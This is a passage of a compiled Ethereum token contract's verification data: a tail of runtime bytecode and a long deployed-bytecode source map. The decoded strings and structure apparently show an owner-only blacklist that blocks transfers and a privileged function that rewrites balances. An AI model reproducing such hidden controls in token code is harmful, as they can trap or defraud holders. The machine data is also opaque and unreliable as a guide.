0000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f63616c6c6572206e6f74206f776e657200000000000000000000000000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f626c61636b4c6973746564000000000000000000000000000000000000000000600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b612d59816128af565b8114612d6457600080fd5b50565b612d70816128d3565b8114612d7b57600080fd5b50565b612d87816128ff565b8114612d9257600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a26469706673582212203c5c52a72223444d1067275ff85cf615cb7e20770860cef0409e97db2a8258fc64736f6c63430008070033

Deployed Bytecode Sourcemap

3773:7350:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6304:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7077:161;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7591:165;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4930:41;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6691:100;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4288:47;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4342:45;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8151:313;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4022:81;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6490:83;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4231:50;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4695:34;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6799:119;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3978:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5047:164;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;4775:33;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7764:169;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;2908:79;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4396:206;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6395:87;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4815:39;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;7976:167;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4610:35;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4978:26;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4652:36;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6926:143;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4736:32;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3122:157;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6304:83;6341:13;6374:5;6367:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6304:83;:::o;7077:161::-;7152:4;7169:39;7178:12;:10;:12::i;:::-;7192:7;7201:6;7169:8;:39::i;:::-;7226:4;7219:11;;7077:161;;;;:::o;7591:165::-;3045:12;:10;:12::i;:::-;3035:22;;:6;;;;;;;;;;:22;;;3027:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7686:15:::1;7667:16;:34;;;;7732:16;;7712:17;:36;;;;7591:165:::0;:::o;4930:41::-;;;;;;;;;;;;;:::o;6691:100::-;6744:7;6771:12;;6764:19;;6691:100;:::o;4288:47::-;;;;;;;;;;;;;;;;;;;;;;:::o;4342:45::-;;;;;;;;;;;;;;;;;;;;;;:::o;8151:313::-;8249:4;8266:36;8276:6;8284:9;8295:6;8266:9;:36::i;:::-;;8313:121;8322:6;8330:12;:10;:12::i;:::-;8344:89;8382:6;8344:89;;;;;;;;;;;;;;;;;:11;:19;8356:6;8344:19;;;;;;;;;;;;;;;:33;8364:12;:10;:12::i;:::-;8344:33;;;;;;;;;;;;;;;;:37;;:89;;;;;:::i;:::-;8313:8;:121::i;:::-;8452:4;8445:11;;8151:313;;;;;:::o;4022:81::-;;;:::o;6490:83::-;6531:5;6556:9;;;;;;;;;;;6549:16;;6490:83;:::o;4231:50::-;;;;;;;;;;;;;;;;;;;;;;:::o;4695:34::-;;;;:::o;6799:119::-;6865:7;6892:9;:18;6902:7;6892:18;;;;;;;;;;;;;;;;6885:25;;6799:119;;;:::o;3978:35::-;;;;;;;;;;;;;:::o;5047:164::-;6640:12;;;;;;;;;;;6624:28;;:12;:10;:12::i;:::-;:28;;;6616:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;5157:46:::1;5201:1;5158:37;5188:6;5158:25;5181:1;5158:9;:18;5168:7;5158:18;;;;;;;;;;;;;;;;:22;;:25;;;;:::i;:::-;:29;;:37;;;;:::i;:::-;5157:43;;:46;;;;:::i;:::-;5136:9;:18;5146:7;5136:18;;;;;;;;;;;;;;;:67;;;;5047:164:::0;;:::o;4775:33::-;;;;:::o;7764:169::-;3045:12;:10;:12::i;:::-;3035:22;;:6;;;;;;;;;;:22;;;3027:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;7861:15:::1;7841:17;:35;;;;7908:17;;7887:18;:38;;;;7764:169:::0;:::o;2908:79::-;2946:7;2973:6;;;;;;;;;;;2966:13;;2908:79;:::o;4396:206::-;6640:12;;;;;;;;;;;6624:28;;:12;:10;:12::i;:::-;:28;;;6616:57;;;;;;;;;;;;:::i;:::-;;;;;;;;;4495:9:::1;4490:105;4510:9;;:16;;4506:1;:20;4490:105;;;4577:6;4548:12;:26;4561:9;;4571:1;4561:12;;;;;;;:::i;:::-;;;;;;;;;;;;;;;:::i;:::-;4548:26;;;;;;;;;;;;;;;;:35;;;;;;;;;;;;;;;;;;4528:3;;;;;:::i;:::-;;;;4490:105;;;;4396:206:::0;;;:::o;6395:87::-;6434:13;6467:7;6460:14;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;6395:87;:::o;4815:39::-;;;;:::o;7976:167::-;8054:4;8071:42;8081:12;:10;:12::i;:::-;8095:9;8106:6;8071:9;:42::i;:::-;;8131:4;8124:11;;7976:167;;;;:::o;4610:35::-;;;;:::o;4978:26::-;;;;;;;;;;;;;:::o;4652:36::-;;;;:::o;6926:143::-;7007:7;7034:11;:18;7046:5;7034:18;;;;;;;;;;;;;;;:27;7053:7;7034:27;;;;;;;;;;;;;;;;7027:34;;6926:143;;;;:::o;4736:32::-;;;;:::o;3122:157::-;3045:12;:10;:12::i;:::-;3035:22;;:6;;;;;;;;;;:22;;;3027:67;;;;;;;;;;;;:::i;:::-;;;;;;;;;3205:10:::1;3196:6;::::0;:19:::1;;;;;;;;;;;;;;;;;;3260:10;3231:40;;3252:6;::::0;::::1;;;;;;;;3231:40;;;;;;;;;;;;3122:157:::0;:::o;95:115::-;148:15;191:10;176:26;;95:115;:::o;7246:337::-;7356:1;7339:19;;:5;:19;;;;7331:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7437:1;7418:21;;:7;:21;;;;7410:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;7521:6;7491:11;:18;7503:5;7491:18;;;;;;;;;;;;;;;:27;7510:7;7491:27;;;;;;;;;;;;;;;:36;;;;7559:7;7543:32;;7552:5;7543:32;;;7568:6;7543:32;;;;;;:::i;:::-;;;;;;;;7246:337;;;:::o;8472:1045::-;8550:4;8593:1;8577:18;;:4;:18;;;;8569:68;;;;;;;;;;;;:::i;:::-;;;;;;;;;8670:1;8656:16;;:2;:16;;;;8648:64;;;;;;;;;;;;:::i;:::-;;;;;;;;;8732:12;:18;8745:4;8732:18;;;;;;;;;;;;;;;;;;;;;;;;;8731:19;8723:43;;;;;;;;;;;;:::i;:::-;;;;;;;;;8780:16;;;;;;;;;;;8777:733;;;8829:32;8844:4;8850:2;8854:6;8829:14;:32::i;:::-;8822:39;;;;8777:733;8913:28;8944:24;8962:4;8944:9;:24::i;:::-;8913:55;;8988:16;;;;;;;;;;;8987:17;:42;;;;;9009:14;:20;9024:4;9009:20;;;;;;;;;;;;;;;;;;;;;;;;;9008:21;8987:42;8983:133;;;9064:36;9079:20;9064:14;:36::i;:::-;8983:133;9150:27;9170:6;9150:9;:15;9160:4;9150:15;;;;;;;;;;;;;;;;:19;;:27;;;;:::i;:::-;9132:9;:15;9142:4;9132:15;;;;;;;;;;;;;;;:45;;;;9192:19;9215:17;:23;9233:4;9215:23;;;;;;;;;;;;;;;;;;;;;;;;;:48;;;;9242:17;:21;9260:2;9242:21;;;;;;;;;;;;;;;;;;;;;;;;;9215:48;9214:130;;9319:25;9327:4;9333:2;9337:6;9319:7;:25::i;:::-;9214:130;;;9310:6;9214:130;9192:152;;9389:30;9407:11;9389:9;:13;9399:2;9389:13;;;;;;;;;;;;;;;;:17;;:30;;;;:::i;:::-;9373:9;:13;9383:2;9373:13;;;;;;;;;;;;;;;:46;;;;9456:2;9441:31;;9450:4;9441:31;;;9460:11;9441:31;;;;;;:::i;:::-;;;;;;;;9494:4;9487:11;;;;8472:1045;;;;;;:::o;1375:192::-;1461:7;1494:1;1489;:6;;1497:12;1481:29;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;1521:9;1537:1;1533;:5;;;;:::i;:::-;1521:17;;1558:1;1551:8;;;1375:192;;;;;:::o;1831:132::-;1889:7;1916:39;1920:1;1923;1916:39;;;;;;;;;;;;;;;;;:3;:39::i;:::-;1909:46;;1831:132;;;;:::o;2306:148::-;2364:7;2384:9;2400:1;2396;:5;;;;:::i;:::-;2384:17;;2425:1;2420;:6;;2412:15;;;;;;2445:1;2438:8;;;2306:148;;;;:::o;1575:248::-;1633:7;1662:1;1657;:6;1653:47;;;1687:1;1680:8;;;;1653:47;1710:9;1726:1;1722;:5;;;;:::i;:::-;1710:17;;1755:1;1750;1746;:5;;;;:::i;:::-;:10;1738:56;;;;;;;;;;;;:::i;:::-;;;;;;;;;1814:1;1807:8;;;1575:248;;;;;:::o;9525:330::-;9618:4;9655:53;9677:6;9655:53;;;;;;;;;;;;;;;;;:9;:17;9665:6;9655:17;;;;;;;;;;;;;;;;:21;;:53;;;;;:::i;:::-;9635:9;:17;9645:6;9635:17;;;;;;;;;;;;;;;:73;;;;9742:32;9767:6;9742:9;:20;9752:9;9742:20;;;;;;;;;;;;;;;;:24;;:32;;;;:::i;:::-;9719:9;:20;9729:9;9719:20;;;;;;;;;;;;;;;:55;;;;9807:9;9790:35;;9799:6;9790:35;;;9818:6;9790:35;;;;;;:::i;:::-;;;;;;;;9843:4;9836:11;;9525:330;;;;;:::o;9863:631::-;5270:4;5251:16;;:23;;;;;;;;;;;;;;;;;;9945:21:::1;9983:1;9969:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;9945:40;;10014:4;9996;10001:1;9996:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;10040:15;;;;;;;;;;;:20;;;:22;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10030:4;10035:1;10030:7;;;;;;;;:::i;:::-;;;;;;;:32;;;;;;;;;::::0;::::1;10075:58;10092:4;10107:15;;;;;;;;;;;10125:7;10075:8;:58::i;:::-;10150:15;;;;;;;;;;;:66;;;10231:7;10253:1;10270:4;10297;10317:15;10150:193;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;10146:208;;;;;;10366:18;10387:21;10366:42;;10437:1;10424:10;:14;10421:65;;;10453:12;;;;;;;;;;;:21;;:33;10475:10;10453:33;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;10421:65;9924:570;;5316:5:::0;5297:16;;:24;;;;;;;;;;;;;;;;;;9863:631;:::o;1231:136::-;1289:7;1316:43;1320:1;1323;1316:43;;;;;;;;;;;;;;;;;:3;:43::i;:::-;1309:50;;1231:136;;;;:::o;10504:610::-;10590:7;10620:17;10640:1;10620:21;;10657:14;:22;10672:6;10657:22;;;;;;;;;;;;;;;;;;;;;;;;;10654:227;;;10708:38;10742:3;10708:29;10719:17;;10708:6;:10;;:29;;;;:::i;:::-;:33;;:38;;;;:::i;:::-;10696:50;;10654:227;;;10776:14;:25;10791:9;10776:25;;;;;;;;;;;;;;;;;;;;;;;;;10773:108;;;10830:39;10865:3;10830:30;10841:18;;10830:6;:10;;:30;;;;:::i;:::-;:34;;:39;;;;:::i;:::-;10818:51;;10773:108;10654:227;10908:1;10896:9;:13;10893:173;;;10953:39;10982:9;10953;:24;10971:4;10953:24;;;;;;;;;;;;;;;;:28;;:39;;;;:::i;:::-;10926:9;:24;10944:4;10926:24;;;;;;;;;;;;;;;:66;;;;11037:4;11012:42;;11021:6;11012:42;;;11044:9;11012:42;;;;;;:::i;:::-;;;;;;;;10893:173;11085:21;11096:9;11085:6;:10;;:21;;;;:::i;:::-;11078:28;;;10504:610;;;;;:::o;1042:181::-;1100:7;1120:9;1136:1;1132;:5;;;;:::i;:::-;1120:17;;1161:1;1156;:6;;1148:46;;;;;;;;;;;;:::i;:::-;;;;;;;;;1214:1;1207:8;;;1042:181;;;;:::o;1971:189::-;2057:7;2089:1;2085;:5;2092:12;2077:28;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;2116:9;2132:1;2128;:5;;;;:::i;:::-;2116:17;;2151:1;2144:8;;;1971:189;;;;;:::o;7:139:1:-;53:5;91:6;78:20;69:29;;107:33;134:5;107:33;:::i;:::-;7:139;;;;:::o;152:143::-;209:5;240:6;234:13;225:22;;256:33;283:5;256:33;:::i;:::-;152:143;;;;:::o;318:568::-;391:8;401:6;451:3;444:4;436:6;432:17;428:27;418:122;;459:79;;:::i;:::-;418:122;572:6;559:20;549:30;;602:18;594:6;591:30;588:117;;;624:79;;:::i;:::-;588:117;738:4;730:6;726:17;714:29;;792:3;784:4;776:6;772:17;762:8;758:32;755:41;752:128;;;799:79;;:::i;:::-;752:128;318:568;;;;;:::o;892:133::-;935:5;973:6;960:20;951:29;;989:30;1013:5;989:30;:::i;:::-;892:133;;;;:::o;1031:139::-;1077:5;1115:6;1102:20;1093:29;;1131:33;1158:5;1131:33;:::i;:::-;1031:139;;;;:::o;1176:329::-;1235:6;1284:2;1272:9;1263:7;1259:23;1255:32;1252:119;;;1290:79;;:::i;:::-;1252:119;1410:1;1435:53;1480:7;1471:6;1460:9;1456:22;1435:53;:::i;:::-;1425:63;;1381:117;1176:329;;;;:::o;1511:351::-;1581:6;1630:2;1618:9;1609:7;1605:23;1601:32;1598:119;;;1636:79;;:::i;:::-;1598:119;1756:1;1781:64;1837:7;1828:6;1817:9;1813:22;1781:64;:::i;:::-;1771:74;;1727:128;1511:351;;;;:::o;1868:474::-;1936:6;1944;1993:2;1981:9;1972:7;1968:23;1964:32;1961:119;;;1999:79;;:::i;:::-;1961:119;2119:1;2144:53;2189:7;2180:6;2169:9;2165:22;2144:53;:::i;:::-;2134:63;;2090:117;2246:2;2272:53;2317:7;2308:6;2297:9;2293:22;2272:53;:::i;:::-;2262:63;;2217:118;1868:474;;;;;:::o;2348:619::-;2425:6;2433;2441;2490:2;2478:9;2469:7;2465:23;2461:32;2458:119;;;2496:79;;:::i;:::-;2458:119;2616:1;2641:53;2686:7;2677:6;2666:9;2662:22;2641:53;:::i;:::-;2631:63;;2587:117;2743:2;2769:53;2814:7;2805:6;2794:9;2790:22;2769:53;:::i;:::-;2759:63;;2714:118;2871:2;2897:53;2942:7;2933:6;2922:9;2918:22;2897:53;:::i;:::-;2887:63;;2842:118;2348:619;;;;;:::o;2973:474::-;3041:6;3049;3098:2;3086:9;3077:7;3073:23;3069:32;3066:119;;;3104:79;;:::i;:::-;3066:119;3224:1;3249:53;3294:7;3285:6;3274:9;3270:22;3249:53;:::i;:::-;3239:63;;3195:117;3351:2;3377:53;3422:7;3413:6;3402:9;3398:22;3377:53;:::i;:::-;3367:63;;3322:118;2973:474;;;;;:::o;3453:698::-;3545:6;3553;3561;3610:2;3598:9;3589:7;3585:23;3581:32;3578:119;;;3616:79;;:::i;:::-;3578:119;3764:1;3753:9;3749:17;3736:31;3794:18;3786:6;3783:30;3780:117;;;3816:79;;:::i;:::-;3780:117;3929:80;4001:7;3992:6;3981:9;3977:22;3929:80;:::i;:::-;3911:98;;;;3707:312;4058:2;4084:50;4126:7;4117:6;4106:9;4102:22;4084:50;:::i;:::-;4074:60;;4029:115;3453:698;;;;;:::o;4157:329::-;4216:6;4265:2;4253:9;4244:7;4240:23;4236:32;4233:119;;;4271:79;;:::i;:::-;4233:119;4391:1;4416:53;4461:7;4452:6;4441:9;4437:22;4416:53;:::i;:::-;4406:63;;4362:117;4157:329;;;;:::o;4492:179::-;4561:10;4582:46;4624:3;4616:6;4582:46;:::i;:::-;4660:4;4655:3;4651:14;4637:28;;4492:179;;;;:::o;4677:142::-;4780:32;4806:5;4780:32;:::i;:::-;4775:3;4768:45;4677:142;;:::o;4825:108::-;4902:24;4920:5;4902:24;:::i;:::-;4897:3;4890:37;4825:108;;:::o;4939:118::-;5026:24;5044:5;5026:24;:::i;:::-;5021:3;5014:37;4939:118;;:::o;5093:732::-;5212:3;5241:54;5289:5;5241:54;:::i;:::-;5311:86;5390:6;5385:3;5311:86;:::i;:::-;5304:93;;5421:56;5471:5;5421:56;:::i;:::-;5500:7;5531:1;5516:284;5541:6;5538:1;5535:13;5516:284;;;5617:6;5611:13;5644:63;5703:3;5688:13;5644:63;:::i;:::-;5637:70;;5730:60;5783:6;5730:60;:::i;:::-;5720:70;;5576:224;5563:1;5560;5556:9;5551:14;;5516:284;;;5520:14;5816:3;5809:10;;5217:608;;;5093:732;;;;:::o;5831:109::-;5912:21;5927:5;5912:21;:::i;:::-;5907:3;5900:34;5831:109;;:::o;5946:183::-;6059:63;6116:5;6059:63;:::i;:::-;6054:3;6047:76;5946:183;;:::o;6135:147::-;6230:45;6269:5;6230:45;:::i;:::-;6225:3;6218:58;6135:147;;:::o;6288:364::-;6376:3;6404:39;6437:5;6404:39;:::i;:::-;6459:71;6523:6;6518:3;6459:71;:::i;:::-;6452:78;;6539:52;6584:6;6579:3;6572:4;6565:5;6561:16;6539:52;:::i;:::-;6616:29;6638:6;6616:29;:::i;:::-;6611:3;6607:39;6600:46;;6380:272;6288:364;;;;:::o;6658:366::-;6800:3;6821:67;6885:2;6880:3;6821:67;:::i;:::-;6814:74;;6897:93;6986:3;6897:93;:::i;:::-;7015:2;7010:3;7006:12;6999:19;;6658:366;;;:::o;7030:::-;7172:3;7193:67;7257:2;7252:3;7193:67;:::i;:::-;7186:74;;7269:93;7358:3;7269:93;:::i;:::-;7387:2;7382:3;7378:12;7371:19;;7030:366;;;:::o;7402:::-;7544:3;7565:67;7629:2;7624:3;7565:67;:::i;:::-;7558:74;;7641:93;7730:3;7641:93;:::i;:::-;7759:2;7754:3;7750:12;7743:19;;7402:366;;;:::o;7774:::-;7916:3;7937:67;8001:2;7996:3;7937:67;:::i;:::-;7930:74;;8013:93;8102:3;8013:93;:::i;:::-;8131:2;8126:3;8122:12;8115:19;;7774:366;;;:::o;8146:::-;8288:3;8309:67;8373:2;8368:3;8309:67;:::i;:::-;8302:74;;8385:93;8474:3;8385:93;:::i;:::-;8503:2;8498:3;8494:12;8487:19;;8146:366;;;:::o;8518:::-;8660:3;8681:67;8745:2;8740:3;8681:67;:::i;:::-;8674:74;;8757:93;8846:3;8757:93;:::i;:::-;8875:2;8870:3;8866:12;8859:19;;8518:366;;;:::o;8890:::-;9032:3;9053:67;9117:2;9112:3;9053:67;:::i;:::-;9046:74;;9129:93;9218:3;9129:93;:::i;:::-;9247:2;9242:3;9238:12;9231:19;;8890:366;;;:::o;9262:::-;9404:3;9425:67;9489:2;9484:3;9425:67;:::i;:::-;9418:74;;9501:93;9590:3;9501:93;:::i;:::-;9619:2;9614:3;9610:12;9603:19;;9262:366;;;:::o;9634:::-;9776:3;9797:67;9861:2;9856:3;9797:67;:::i;:::-;9790:74;;9873:93;9962:3;9873:93;:::i;:::-;9991:2;9986:3;9982:12;9975:19;;9634:366;;;:::o;10006:118::-;10093:24;10111:5;10093:24;:::i;:::-;10088:3;10081:37;10006:118;;:::o;10130:112::-;10213:22;10229:5;10213:22;:::i;:::-;10208:3;10201:35;10130:112;;:::o;10248:222::-;10341:4;10379:2;10368:9;10364:18;10356:26;;10392:71;10460:1;10449:9;10445:17;10436:6;10392:71;:::i;:::-;10248:222;;;;:::o;10476:254::-;10585:4;10623:2;10612:9;10608:18;10600:26;;10636:87;10720:1;10709:9;10705:17;10696:6;10636:87;:::i;:::-;10476:254;;;;:::o;10736:210::-;10823:4;10861:2;10850:9;10846:18;10838:26;;10874:65;10936:1;10925:9;10921:17;10912:6;10874:65;:::i;:::-;10736:210;;;;:::o;10952:274::-;11071:4;11109:2;11098:9;11094:18;11086:26;;11122:97;11216:1;11205:9;11201:17;11192:6;11122:97;:::i;:::-;10952:274;;;;:::o;11232:313::-;11345:4;11383:2;11372:9;11368:18;11360:26;;11432:9;11426:4;11422:20;11418:1;11407:9;11403:17;11396:47;11460:78;11533:4;11524:6;11460:78;:::i;:::-;11452:86;;11232:313;;;;:::o;11551:419::-;11717:4;11755:2;11744:9;11740:18;11732:26;;11804:9;11798:4;11794:20;11790:1;11779:9;11775:17;11768:47;11832:131;11958:4;11832:131;:::i;:::-;11824:139;;11551:419;;;:::o;11976:::-;12142:4;12180:2;12169:9;12165:18;12157:26;;12229:9;12223:4;12219:20;12215:1;12204:9;12200:17;12193:47;12257:131;12383:4;12257:131;:::i;:::-;12249:139;;11976:419;;;:::o;12401:::-;12567:4;12605:2;12594:9;12590:18;12582:26;;12654:9;12648:4;12644:20;12640:1;12629:9;12625:17;12618:47;12682:131;12808:4;12682:131;:::i;:::-;12674:139;;12401:419;;;:::o;12826:::-;12992:4;13030:2;13019:9;13015:18;13007:26;;13079:9;13073:4;13069:20;13065:1;13054:9;13050:17;13043:47;13107:131;13233:4;13107:131;:::i;:::-;13099:139;;12826:419;;;:::o;13251:::-;13417:4;13455:2;13444:9;13440:18;13432:26;;13504:9;13498:4;13494:20;13490:1;13479:9;13475:17;13468:47;13532:131;13658:4;13532:131;:::i;:::-;13524:139;;13251:419;;;:::o;13676:::-;13842:4;13880:2;13869:9;13865:18;13857:26;;13929:9;13923:4;13919:20;13915:1;13904:9;13900:17;13893:47;13957:131;14083:4;13957:131;:::i;:::-;13949:139;;13676:419;;;:::o;14101:::-;14267:4;14305:2;14294:9;14290:18;14282:26;;14354:9;14348:4;14344:20;14340:1;14329:9;14325:17;14318:47;14382:131;14508:4;14382:131;:::i;:::-;14374:139;;14101:419;;;:::o;14526:::-;14692:4;14730:2;14719:9;14715:18;14707:26;;14779:9;14773:4;14769:20;14765:1;14754:9;14750:17;14743:47;14807:131;14933:4;14807:131;:::i;:::-;14799:139;;14526:419;;;:::o;14951:::-;15117:4;15155:2;15144:9;15140:18;15132:26;;15204:9;15198:4;15194:20;15190:1;15179:9;15175:17;15168:47;15232:131;15358:4;15232:131;:::i;:::-;15224:139;;14951:419;;;:::o;15376:222::-;15469:4;15507:2;15496:9;15492:18;15484:26;;15520:71;15588:1;15577:9;15573:17;15564:6;15520:71;:::i;:::-;15376:222;;;;:::o;15604:831::-;15867:4;15905:3;15894:9;15890:19;15882:27;;15919:71;15987:1;15976:9;15972:17;15963:6;15919:71;:::i;:::-;16000:80;16076:2;16065:9;16061:18;16052:6;16000:80;:::i;:::-;16127:9;16121:4;16117:20;16112:2;16101:9;16097:18;16090:48;16155:108;16258:4;16249:6;16155:108;:::i;:::-;16147:116;;16273:72;16341:2;16330:9;16326:18;16317:6;16273:72;:::i;:::-;16355:73;16423:3;16412:9;16408:19;16399:6;16355:73;:::i;:::-;15604:831;;;;;;;;:::o;16441:214::-;16530:4;16568:2;16557:9;16553:18;16545:26;;16581:67;16645:1;16634:9;16630:17;16621:6;16581:67;:::i;:::-;16441:214;;;;:::o;16742:132::-;16809:4;16832:3;16824:11;;16862:4;16857:3;16853:14;16845:22;;16742:132;;;:::o;16880:114::-;16947:6;16981:5;16975:12;16965:22;;16880:114;;;:::o;17000:99::-;17052:6;17086:5;17080:12;17070:22;;17000:99;;;:::o;17105:113::-;17175:4;17207;17202:3;17198:14;17190:22;;17105:113;;;:::o;17224:184::-;17323:11;17357:6;17352:3;17345:19;17397:4;17392:3;17388:14;17373:29;;17224:184;;;;:::o;17414:169::-;17498:11;17532:6;17527:3;17520:19;17572:4;17567:3;17563:14;17548:29;;17414:169;;;;:::o;17589:305::-;17629:3;17648:20;17666:1;17648:20;:::i;:::-;17643:25;;17682:20;17700:1;17682:20;:::i;:::-;17677:25;;17836:1;17768:66;17764:74;17761:1;17758:81;17755:107;;;17842:18;;:::i;:::-;17755:107;17886:1;17883;17879:9;17872:16;;17589:305;;;;:::o;17900:185::-;17940:1;17957:20;17975:1;17957:20;:::i;:::-;17952:25;;17991:20;18009:1;17991:20;:::i;:::-;17986:25;;18030:1;18020:35;;18035:18;;:::i;:::-;18020:35;18077:1;18074;18070:9;18065:14;;17900:185;;;;:::o;18091:348::-;18131:7;18154:20;18172:1;18154:20;:::i;:::-;18149:25;;18188:20;18206:1;18188:20;:::i;:::-;18183:25;;18376:1;18308:66;18304:74;18301:1;18298:81;18293:1;18286:9;18279:17;18275:105;18272:131;;;18383:18;;:::i;:::-;18272:131;18431:1;18428;18424:9;18413:20;;18091:348;;;;:::o;18445:191::-;18485:4;18505:20;18523:1;18505:20;:::i;:::-;18500:25;;18539:20;18557:1;18539:20;:::i;:::-;18534:25;;18578:1;18575;18572:8;18569:34;;;18583:18;;:::i;:::-;18569:34;18628:1;18625;18621:9;18613:17;;18445:191;;;;:::o;18642:96::-;18679:7;18708:24;18726:5;18708:24;:::i;:::-;18697:35;;18642:96;;;:::o;18744:104::-;18789:7;18818:24;18836:5;18818:24;:::i;:::-;18807:35;;18744:104;;;:::o;18854:90::-;18888:7;18931:5;18924:13;18917:21;18906:32;;18854:90;;;:::o;18950:126::-;18987:7;19027:42;19020:5;19016:54;19005:65;;18950:126;;;:::o;19082:77::-;19119:7;19148:5;19137:16;;19082:77;;;:::o;19165:86::-;19200:7;19240:4;19233:5;19229:16;19218:27;;19165:86;;;:::o;19257:152::-;19333:9;19366:37;19397:5;19366:37;:::i;:::-;19353:50;;19257:152;;;:::o;19415:121::-;19473:9;19506:24;19524:5;19506:24;:::i;:::-;19493:37;;19415:121;;;:::o;19542:126::-;19592:9;19625:37;19656:5;19625:37;:::i;:::-;19612:50;;19542:126;;;:::o;19674:113::-;19724:9;19757:24;19775:5;19757:24;:::i;:::-;19744:37;;19674:113;;;:::o;19793:307::-;19861:1;19871:113;19885:6;19882:1;19879:13;19871:113;;;19970:1;19965:3;19961:11;19955:18;19951:1;19946:3;19942:11;19935:39;19907:2;19904:1;19900:10;19895:15;;19871:113;;;20002:6;19999:1;19996:13;19993:101;;;20082:1;20073:6;20068:3;20064:16;20057:27;19993:101;19842:258;19793:307;;;:::o;20106:320::-;20150:6;20187:1;20181:4;20177:12;20167:22;;20234:1;20228:4;20224:12;20255:18;20245:81;;